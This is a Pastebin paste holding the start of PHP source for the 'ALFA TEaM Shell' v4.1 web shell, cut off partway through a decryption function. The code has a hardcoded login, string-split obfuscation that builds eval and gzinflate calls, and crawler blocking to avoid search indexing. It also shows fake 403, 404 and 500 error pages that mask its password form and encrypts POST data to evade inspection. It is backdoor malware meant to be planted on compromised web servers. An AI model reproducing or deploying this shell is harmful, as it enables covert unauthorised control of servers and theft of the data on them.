Ahh7

Untitled

Jun 16th, 2025
1,097
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.12 KB | None | 0 0
  1. <?php
  2. /*
  3. Author: Solevisible/Alfa-Team
  4. Telegram: https://telegram.me/solevisible
  5. YouTube: https://youtube.com/solevisible
  6. Date: Monday, September 14, 2020
  7. */
  8. $GLOBALS['oZgNypoPRU'] = array(
  9. 'username' => 'alfa',
  10. 'password' => 'a6f452ec3293d7fb72c5b677257b20ec',//md5(ehsan)
  11. 'safe_mode' => '0',
  12. 'login_page' => '403',
  13. 'show_icons' => '1',
  14. 'post_encryption' => false,
  15. 'cgi_api' => true,
  16. );
  17.  
  18. $CWppUDJxuf = 'fu' . 'n' . 'ct' . 'ion_' . 'e' . 'xist' . 's';
  19. $aztJtafUXm = 'cha' . 'r' . 'C' . 'o' . 'd' . 'e' . 'A' . 't' . '';
  20. $OVpGNqqFZs = 'e' . 'v' . 'al';
  21. $psDEwGhsxg = 'gz' . 'inf' . 'late';
  22.  
  23. if (!$CWppUDJxuf('b' . 'a' . 'se64' . '_en' . 'c' . 'ode' . ''))
  24. {
  25. function vcnvSCZgBz($data)
  26. {
  27. if (empty($data)) return;
  28. $b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
  29. $o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;
  30. $ac = 0;
  31. $enc = '';
  32. $tmp_arr = array();
  33. if (!$data)
  34. {
  35. return $data;
  36. }
  37. do
  38. {
  39. $o1 = $aztJtafUXm($data, $i++);
  40. $o2 = $aztJtafUXm($data, $i++);
  41. $o3 = $aztJtafUXm($data, $i++);
  42. $bits = $o1 << 16 | $o2 << 8 | $o3;
  43. $h1 = $bits >> 18 & 0x3f;
  44. $h2 = $bits >> 12 & 0x3f;
  45. $h3 = $bits >> 6 & 0x3f;
  46. $h4 = $bits & 0x3f;
  47. $tmp_arr[$ac++] = charAt($b64, $h1) . charAt($b64, $h2) . charAt($b64, $h3) . charAt($b64, $h4);
  48. }
  49. while ($i < strlen($data));
  50. $enc = implode($tmp_arr, '');
  51. $r = (strlen($data) % 3);
  52. return ($r ? substr($enc, 0, ($r - 3)) : $enc) . substr('===', ($r || 3));
  53. }
  54. function charCodeAt($data, $char)
  55. {
  56. return ord(substr($data, $char, 1));
  57. }
  58. function charAt($data, $char)
  59. {
  60. return substr($data, $char, 1);
  61. }
  62. }
  63. else
  64. {
  65. function vcnvSCZgBz($s)
  66. {
  67. $b = 'b' . 'a' . 'se64' . '_en' . 'c' . 'ode' . '';
  68. return $b($s);
  69. }
  70. }
  71. if (!$CWppUDJxuf('b' . 'a' . 'se' . '6' . '4' . '_d' . 'ecod' . 'e' . ''))
  72. {
  73. function zRtSHsbTzV($input)
  74. {
  75. if (empty($input)) return;
  76. $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  77. $chr1 = $chr2 = $chr3 = "";
  78. $enc1 = $enc2 = $enc3 = $enc4 = "";
  79. $i = 0;
  80. $output = "";
  81. $input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input);
  82. do
  83. {
  84. $enc1 = strpos($keyStr, substr($input, $i++, 1));
  85. $enc2 = strpos($keyStr, substr($input, $i++, 1));
  86. $enc3 = strpos($keyStr, substr($input, $i++, 1));
  87. $enc4 = strpos($keyStr, substr($input, $i++, 1));
  88. $chr1 = ($enc1 << 2) | ($enc2 >> 4);
  89. $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
  90. $chr3 = (($enc3 & 3) << 6) | $enc4;
  91. $output = $output . chr((int)$chr1);
  92. if ($enc3 != 64)
  93. {
  94. $output = $output . chr((int)$chr2);
  95. }
  96. if ($enc4 != 64)
  97. {
  98. $output = $output . chr((int)$chr3);
  99. }
  100. $chr1 = $chr2 = $chr3 = "";
  101. $enc1 = $enc2 = $enc3 = $enc4 = "";
  102. }
  103. while ($i < strlen($input));
  104. return $output;
  105. }
  106. }
  107. else
  108. {
  109. function zRtSHsbTzV($s)
  110. {
  111. $b = 'b' . 'a' . 'se' . '6' . '4' . '_d' . 'ecod' . 'e' . '';
  112. return $b($s);
  113. }
  114. }
  115.  
  116. function __ZW5jb2Rlcg($s)
  117. {
  118. return vcnvSCZgBz($s);
  119. }
  120. function __ZGVjb2Rlcg($s)
  121. {
  122. return zRtSHsbTzV($s);
  123. }
  124.  
  125. $GLOBALS['DB_NAME'] = $GLOBALS['oZgNypoPRU'];
  126.  
  127. foreach ($GLOBALS['DB_NAME'] as $key => $value)
  128. {
  129. $prefix = substr($key, 0, 2);
  130. if ($prefix == "us")
  131. {
  132. $GLOBALS['DB_NAME']["user"] = $value;
  133. $GLOBALS['DB_NAME']["user_rand"] = $key;
  134. }
  135. elseif ($prefix == "pa")
  136. {
  137. $GLOBALS['DB_NAME']["pass"] = $value;
  138. $GLOBALS['DB_NAME']["pass_rand"] = $key;
  139. }
  140. elseif ($prefix == "sa")
  141. {
  142. $GLOBALS['DB_NAME']["safemode"] = $value;
  143. $GLOBALS['DB_NAME']["safemode_rand"] = $key;
  144. }
  145. elseif ($prefix == "lo")
  146. {
  147. $GLOBALS['DB_NAME']["login_page"] = $value;
  148. $GLOBALS['DB_NAME']["login_page_rand"] = $key;
  149. }
  150. elseif ($prefix == "sh")
  151. {
  152. $GLOBALS['DB_NAME']["show_icons"] = $value;
  153. $GLOBALS['DB_NAME']["show_icons_rand"] = $key;
  154. }
  155. elseif ($prefix == "po")
  156. {
  157. $GLOBALS['DB_NAME']["post_encryption"] = $value;
  158. $GLOBALS['DB_NAME']["post_encryption_rand"] = $key;
  159. }
  160. elseif ($prefix == "cg")
  161. {
  162. $GLOBALS['DB_NAME']["cgi_api"] = $value;
  163. $GLOBALS['DB_NAME']["cgi_api_rand"] = $key;
  164. }
  165. }
  166.  
  167. unset($GLOBALS['oZgNypoPRU']);
  168.  
  169. if (!isset($_SERVER["HTTP_HOST"])) exit();
  170.  
  171. if(!empty($_SERVER['HTTP_USER_AGENT'])){$userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler","bot","spider");if(preg_match('/'.implode('|',$userAgents).'/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}}
  172. if(!isset($GLOBALS['DB_NAME']['user']))exit('$GLOBALS[\'DB_NAME\'][\'user\']');
  173. if(!isset($GLOBALS['DB_NAME']['pass']))exit('$GLOBALS[\'DB_NAME\'][\'pass\']');
  174. if(!isset($GLOBALS['DB_NAME']['safemode']))exit('$GLOBALS[\'DB_NAME\'][\'safemode\']');
  175. if(!isset($GLOBALS['DB_NAME']['login_page']))exit('$GLOBALS[\'DB_NAME\'][\'login_page\']');
  176. if(!isset($GLOBALS['DB_NAME']['show_icons']))exit('$GLOBALS[\'DB_NAME\'][\'show_icons\']');
  177. if(!isset($GLOBALS['DB_NAME']['post_encryption']))exit('$GLOBALS[\'DB_NAME\'][\'post_encryption\']');
  178. define("__ALFA_VERSION__", "4.1");
  179. define("__ALFA_UPDATE__", "2");
  180. define("__ALFA_CODE_NAME__", "Tesla");
  181. define("__ALFA_DATA_FOLDER__", "ALFA_DATA");
  182. define("__ALFA_POST_ENCRYPTION__", (isset($GLOBALS["DB_NAME"]["post_encryption"])&&$GLOBALS["DB_NAME"]["post_encryption"]==true?true:false));
  183. define("__ALFA_SECRET_KEY__", __ALFA_POST_ENCRYPTION__?_AlfaSecretKey():'');
  184. $GLOBALS['__ALFA_COLOR__'] = array(
  185. "shell_border" => array(
  186. "key_color" => "#0E304A",
  187. "multi_selector" => array(
  188. ".header" => "border: 7px solid {color}",
  189. "#meunlist" => "border-color: {color}",
  190. "#hidden_sh" => "background-color: {color}",
  191. ".ajaxarea" => "border: 1px solid {color}",
  192. ".foot" => "border-color: {color}",
  193. )
  194. ),
  195. "header_vars" => "#27979B",
  196. "header_values" => "#67ABDF",
  197. "header_on" => "#00FF00",
  198. "header_off" => "#ff0000",
  199. "header_none" => "#00FF00",
  200. "home_shell" => "#ff0000",
  201. "home_shell:hover" => array(
  202. "key_color" => "#FFFFFF",
  203. "multi_selector" => array(
  204. ".home_shell:hover" => "color: {color};",
  205. )
  206. ),
  207. "back_shell" => "#efbe73",
  208. "back_shell:hover" => array(
  209. "key_color" => "#FFFFFF",
  210. "multi_selector" => array(
  211. ".back_shell:hover" => "color: {color};",
  212. )
  213. ),
  214. "header_pwd" => "#00FF00",
  215. "header_pwd:hover" => array(
  216. "key_color" => "#FFFFFF",
  217. "multi_selector" => array(
  218. ".header_pwd:hover" => "color: {color};",
  219. )
  220. ),
  221. "header_drive" => "#00FF00",
  222. "header_drive:hover" => array(
  223. "key_color" => "#FFFFFF",
  224. "multi_selector" => array(
  225. ".header_drive:hover" => "color: {color};",
  226. )
  227. ),
  228. "header_show_all" => "#00FF00",
  229. "disable_functions" => "#ff0000",
  230. "footer_text" => "#27979B",
  231. "menu_options" => "#27979B",
  232. "menu_options:hover" => array(
  233. "key_color" => "#646464",
  234. "multi_selector" => array(
  235. ".menu_options:hover" => "background-color: {color};font-weight: unset;",
  236. )
  237. ),
  238. "options_list" => array(
  239. "key_color" => "#00FF00",
  240. "multi_selector" => array(
  241. ".content_options_holder .header center a" => "color: {color};",
  242. )
  243. ),
  244. "options_list:hover" => array(
  245. "key_color" => "#FFFFFF",
  246. "multi_selector" => array(
  247. ".content_options_holder .header center a:hover" => "color: {color};",
  248. )
  249. ),
  250. "options_list_header" => array(
  251. "key_color" => "#59cc33",
  252. "multi_selector" => array(
  253. ".txtfont_header" => "color: {color};",
  254. )
  255. ),
  256. "options_list_text" => array(
  257. "key_color" => "#FFFFFF",
  258. "multi_selector" => array(
  259. ".txtfont,.tbltxt" => "color: {color};",
  260. )
  261. ),
  262. "Alfa+" => array(
  263. "key_color" => "#06ff0f",
  264. "multi_selector" => array(
  265. ".alfa_plus" => "color: {color};font-weight: unset;",
  266. )
  267. ),
  268. "hidden_shell_text" => array(
  269. "key_color" => "#00FF00",
  270. "multi_selector" => array(
  271. "#hidden_sh a" => "color: {color};",
  272. )
  273. ),
  274. "hidden_shell_version" => "#ff0000",
  275. "shell_name" => "#FF0000",
  276. "main_row:hover" => array(
  277. "key_color" => "#646464",
  278. "multi_selector" => array(
  279. ".main tr:hover" => "background-color: {color};",
  280. )
  281. ),
  282. "main_header" => array(
  283. "key_color" => "#FFFFFF",
  284. "multi_selector" => array(
  285. ".main th" => "color: {color};",
  286. )
  287. ),
  288. "main_name" => array(
  289. "key_color" => "#FFFFFF",
  290. "multi_selector" => array(
  291. ".main .main_name" => "color: {color};font-weight: unset;",
  292. )
  293. ),
  294. "main_size" => "#67ABDF",
  295. "main_modify" => "#67ABDF",
  296. "main_owner_group" => "#67ABDF",
  297. "main_green_perm" => "#25ff00",
  298. "main_red_perm" => "#FF0000",
  299. "main_white_perm" => "#FFFFFF",
  300. "beetween_perms" => "#FFFFFF",
  301. "main_actions" => array(
  302. "key_color" => "#FFFFFF",
  303. "multi_selector" => array(
  304. ".main .actions" => "color: {color};",
  305. )
  306. ),
  307. "menu_options:hover" => array(
  308. "key_color" => "#646464",
  309. "multi_selector" => array(
  310. ".menu_options:hover" => "background-color: {color};font-weight: unset;",
  311. )
  312. ),
  313. "minimize_editor_background" => array(
  314. "key_color" => "#0e304a",
  315. "multi_selector" => array(
  316. ".minimized-wrapper" => "background-color: {color};",
  317. )
  318. ),
  319. "minimize_editor_text" => array(
  320. "key_color" => "#f5deb3",
  321. "multi_selector" => array(
  322. ".minimized-text" => "color: {color};",
  323. )
  324. ),
  325. "editor_border" => array(
  326. "key_color" => "#0e304a",
  327. "multi_selector" => array(
  328. ".editor-explorer,.editor-modal" => "border: 2px solid {color};",
  329. )
  330. ),
  331. "editor_background" => array(
  332. "key_color" => "rgba(0, 1, 23, 0.94)",
  333. "multi_selector" => array(
  334. ".editor-explorer,.editor-modal" => "background-color: {color};",
  335. )
  336. ),
  337. "editor_header_background" => array(
  338. "key_color" => "rgba(21, 66, 88, 0.93)",
  339. "multi_selector" => array(
  340. ".editor-header" => "background-color: {color};",
  341. )
  342. ),
  343. "editor_header_text" => array(
  344. "key_color" => "#00ff7f",
  345. "multi_selector" => array(
  346. ".editor-path" => "color: {color};",
  347. )
  348. ),
  349. "editor_header_button" => array(
  350. "key_color" => "#1d5673",
  351. "multi_selector" => array(
  352. ".close-button, .editor-minimize" => "background-color: {color};",
  353. )
  354. ),
  355. "editor_actions" => array(
  356. "key_color" => "#FFFFFF",
  357. "multi_selector" => array(
  358. ".editor_actions" => "color: {color};",
  359. )
  360. ),
  361. "editor_file_info_vars" => array(
  362. "key_color" => "#FFFFFF",
  363. "multi_selector" => array(
  364. ".editor_file_info_vars" => "color: {color};",
  365. )
  366. ),
  367. "editor_file_info_values" => array(
  368. "key_color" => "#67ABDF",
  369. "multi_selector" => array(
  370. ".filestools" => "color: {color};",
  371. )
  372. ),
  373. "editor_history_header" => array(
  374. "key_color" => "#14ff07",
  375. "multi_selector" => array(
  376. ".hheader-text,.history-clear" => "color: {color};",
  377. )
  378. ),
  379. "editor_history_list" => array(
  380. "key_color" => "#03b3a3",
  381. "multi_selector" => array(
  382. ".editor-file-name" => "color: {color};",
  383. )
  384. ),
  385. "editor_history_selected_file" => array(
  386. "key_color" => "rgba(49, 55, 93, 0.77)",
  387. "multi_selector" => array(
  388. ".is_active" => "background-color: {color};",
  389. )
  390. ),
  391. "editor_history_file:hover" => array(
  392. "key_color" => "#646464",
  393. "multi_selector" => array(
  394. ".file-holder > .history:hover" => "background-color: {color};",
  395. )
  396. ),
  397. "input_box_border" => array(
  398. "key_color" => "#0E304A",
  399. "multi_selector" => array(
  400. "input[type=text],textarea" => "border: 1px solid {color}",
  401. )
  402. ),
  403. "input_box_text" => array(
  404. "key_color" => "#999999",
  405. "multi_selector" => array(
  406. "input[type=text],textarea" => "color: {color};",
  407. )
  408. ),
  409. "input_box:hover" => array(
  410. "key_color" => "#27979B",
  411. "multi_selector" => array(
  412. "input[type=text]:hover,textarea:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
  413. )
  414. ),
  415. "select_box_border" => array(
  416. "key_color" => "#0E304A",
  417. "multi_selector" => array(
  418. "select" => "border: 1px solid {color}",
  419. )
  420. ),
  421. "select_box_text" => array(
  422. "key_color" => "#FFFFEE",
  423. "multi_selector" => array(
  424. "select" => "color: {color};",
  425. )
  426. ),
  427. "select_box:hover" => array(
  428. "key_color" => "#27979B",
  429. "multi_selector" => array(
  430. "select:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
  431. )
  432. ),
  433. "button_border" => array(
  434. "key_color" => "#27979B",
  435. "multi_selector" => array(
  436. "input[type=submit],.button,#addup" => "border: 1px solid {color};",
  437. )
  438. ),
  439. "button:hover" => array(
  440. "key_color" => "#27979B",
  441. "multi_selector" => array(
  442. "input[type=submit]:hover" => "box-shadow:0 0 4px {color};border:2px solid {color};",
  443. ".button:hover,#addup:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
  444. )
  445. ),
  446. "outputs_text" => array(
  447. "key_color" => "#67ABDF",
  448. "multi_selector" => array(
  449. ".ml1" => "color: {color};",
  450. )
  451. ),
  452. "outputs_border" => array(
  453. "key_color" => "#0E304A",
  454. "multi_selector" => array(
  455. ".ml1" => "border: 1px solid {color};",
  456. )
  457. ),
  458. "uploader_border" => array(
  459. "key_color" => "#0E304A",
  460. "multi_selector" => array(
  461. ".inputfile" => "box-shadow:0 0 4px {color};border:1px solid {color};",
  462. )
  463. ),
  464. "uploader_background" => array(
  465. "key_color" => "#0E304A",
  466. "multi_selector" => array(
  467. ".inputfile strong" => "background-color: {color};",
  468. )
  469. ),
  470. "uploader_text_right" => array(
  471. "key_color" => "#FFFFFF",
  472. "multi_selector" => array(
  473. ".inputfile strong" => "color: {color};",
  474. )
  475. ),
  476. "uploader_text_left" => array(
  477. "key_color" => "#25ff00",
  478. "multi_selector" => array(
  479. ".inputfile span" => "color: {color};",
  480. )
  481. ),
  482. "uploader:hover" => array(
  483. "key_color" => "#27979B",
  484. "multi_selector" => array(
  485. ".inputfile:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
  486. )
  487. ),
  488. "uploader_progress_bar" => array(
  489. "key_color" => "#00ff00",
  490. "multi_selector" => array(
  491. ".up_bar" => "background-color: {color};",
  492. )
  493. ),
  494. "mysql_tables" => "#00FF00",
  495. "mysql_table_count" => "#67ABDF",
  496. "copyright" => "#dfff00",
  497. "scrollbar" => array(
  498. "key_color" => "#1e82b5",
  499. "multi_selector" => array(
  500. "*::-webkit-scrollbar-thumb" => "background-color: {color};",
  501. )
  502. ),
  503. "scrollbar_background" => array(
  504. "key_color" => "#000115",
  505. "multi_selector" => array(
  506. "*::-webkit-scrollbar-track" => "background-color: {color};",
  507. )
  508. ),
  509. );
  510. $GLOBALS['__file_path'] = str_replace('\\','/',trim(preg_replace('!\(\d+\)\s.*!', '', __FILE__)));
  511. $config = array('AlfaUser' => $GLOBALS['DB_NAME']['user'],'AlfaPass' => $GLOBALS['DB_NAME']['pass'],'AlfaProtectShell' => $GLOBALS['DB_NAME']['safemode'],'AlfaLoginPage' => $GLOBALS['DB_NAME']['login_page']);
  512. //@session_start();
  513. @session_write_close();
  514. @ignore_user_abort(true);
  515. @set_time_limit(0);
  516. @ini_set('memory_limit', '-1');
  517. @ini_set("upload_max_filesize", "9999m");
  518. if($config['AlfaProtectShell']){
  519. $SERVER_SIG = (isset($_SERVER["SERVER_SIGNATURE"])?$_SERVER["SERVER_SIGNATURE"]:"");
  520. $Eform='<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>';
  521. if($config['AlfaLoginPage'] == 'gui'){
  522. if(@$_COOKIE["AlfaUser"] != $config['AlfaUser'] && $_COOKIE["AlfaPass"] != md5($config['AlfaPass'])){
  523. if(@$_POST["usrname"]==$config['AlfaUser'] && @md5($_POST["password"])==$config['AlfaPass']){
  524. __alfa_set_cookie("AlfaUser", $config['AlfaUser']);
  525. __alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
  526. @header('location: '.$_SERVER["PHP_SELF"]);
  527. }
  528. echo '
  529. <style>
  530. body{background: black;}
  531. #loginbox { font-size:11px; color:green; right:85px; width:1200px; height:200px; border-radius:5px; -moz-boder-radius:5px; position:fixed; top:250px; }
  532. #loginbox td { border-radius:5px; font-size:11px; }
  533. </style>
  534. <title>~ ALFA TEaM Shell-v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ~</title><center>
  535. <center><img style="border-radius:100px;" width="500" height="250" alt="alfa team 2012" draggable="false" src="http://solevisible.com/images/alfa-iran.png" /></center>
  536. <div id=loginbox><p><font face="verdana,arial" size=-1>
  537. <center><table cellpadding=\'2\' cellspacing=\'0\' border=\'0\' id=\'ap_table\'>
  538. <tr><td bgcolor="green"><table cellpadding=\'0\' cellspacing=\'0\' border=\'0\' width=\'100%\'><tr><td bgcolor="green" align=center style="padding:2;padding-bottom:4"><b><font color="white" size=-1 color="white" face="verdana,arial"><b>~ ALFA TEaM Shell-v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ~</b></font></th></tr>
  539. <tr><td bgcolor="black" style="padding:5">
  540. <form method="post">
  541. <input type="hidden" name="action" value="login">
  542. <input type="hidden" name="hide" value="">
  543. <center><table>
  544. <tr><td><font color="green" face="verdana,arial" size=-1>Login:</font></td><td><input type="text" size="30" name="usrname" placeholder="username" onfocus="if (this.value == \'username\'){this.value = \'\';}"></td></tr>
  545. <tr><td><font color="green" face="verdana,arial" size=-1>Password:</font></td><td><input type="password" size="30" name="password" placeholder="password" onfocus="if (this.value == \'password\') this.value = \'\';"></td></tr>
  546. <tr><td><font face="verdana,arial" size=-1>&nbsp;</font></td><td><font face="verdana,arial" size=-1><input type="submit" value="Login"></font></td></tr></table>
  547. </div><br /></center>';
  548. exit;
  549. }
  550. }elseif($config['AlfaLoginPage']=='500'){
  551. if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){
  552. if(@md5($_POST["password"])==$config['AlfaPass']){
  553. __alfa_set_cookie("AlfaUser", $config['AlfaUser']);
  554. __alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
  555. @header('location: '.$_SERVER["PHP_SELF"]);
  556. }
  557. echo '<html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p><p>Please contact the server administrator, '.$_SERVER['SERVER_ADMIN'].' and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p><p>More information about this error may be available in the server error log.</p><hr>'.$SERVER_SIG.'</body></html>'.$Eform;
  558. exit;
  559. }
  560. }elseif($config['AlfaLoginPage']=='403'){
  561. if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){
  562. if(@md5($_POST["password"])==$config['AlfaPass']){
  563. __alfa_set_cookie("AlfaUser", $config['AlfaUser']);
  564. __alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
  565. @header('location: '.$_SERVER["PHP_SELF"]);
  566. }
  567. echo "<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access ".$_SERVER['PHP_SELF']." on this server.</p><hr>".$SERVER_SIG."</body></html>".$Eform;
  568. exit;
  569. }
  570. }elseif($config['AlfaLoginPage']=='404'){
  571. if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){
  572. if(@md5($_POST["password"])==$config['AlfaPass']){
  573. __alfa_set_cookie("AlfaUser", $config['AlfaUser']);
  574. __alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
  575. @header('location: '.$_SERVER["PHP_SELF"]);
  576. }
  577. echo "<title>404 Not Found</title><h1>Not Found</h1><p>The requested URL ".$_SERVER['PHP_SELF']." was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr>".$SERVER_SIG."</body></html>".$Eform;
  578. exit;
  579. }
  580. }
  581. }
  582. function decrypt_post($str){
  583. if(__ALFA_POST_ENCRYPTION__){
  584. $pwd = __ALFA_SECRET_KEY__;
  585. $pwd = __ZW5jb2Rlcg($pwd);
  586. $str = __ZGVjb2Rlcg($str);
  587. $enc_chr = "";
  588. $enc_str = "";
  589. $i = 0;
  590. while ($i < strlen($str)) {
  591. for ($j = 0; $j < strlen($pwd); $j++) {
  592. $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
  593. $enc_str .= $enc_chr;
  594. $i++;
  595. if ($i >= strlen($str))
  596. break;
  597. }
  598. }
  599. return __ZGVjb2Rlcg($enc_str);
  600. }else{
  601. return
Add Comment
Please, Sign In to add comment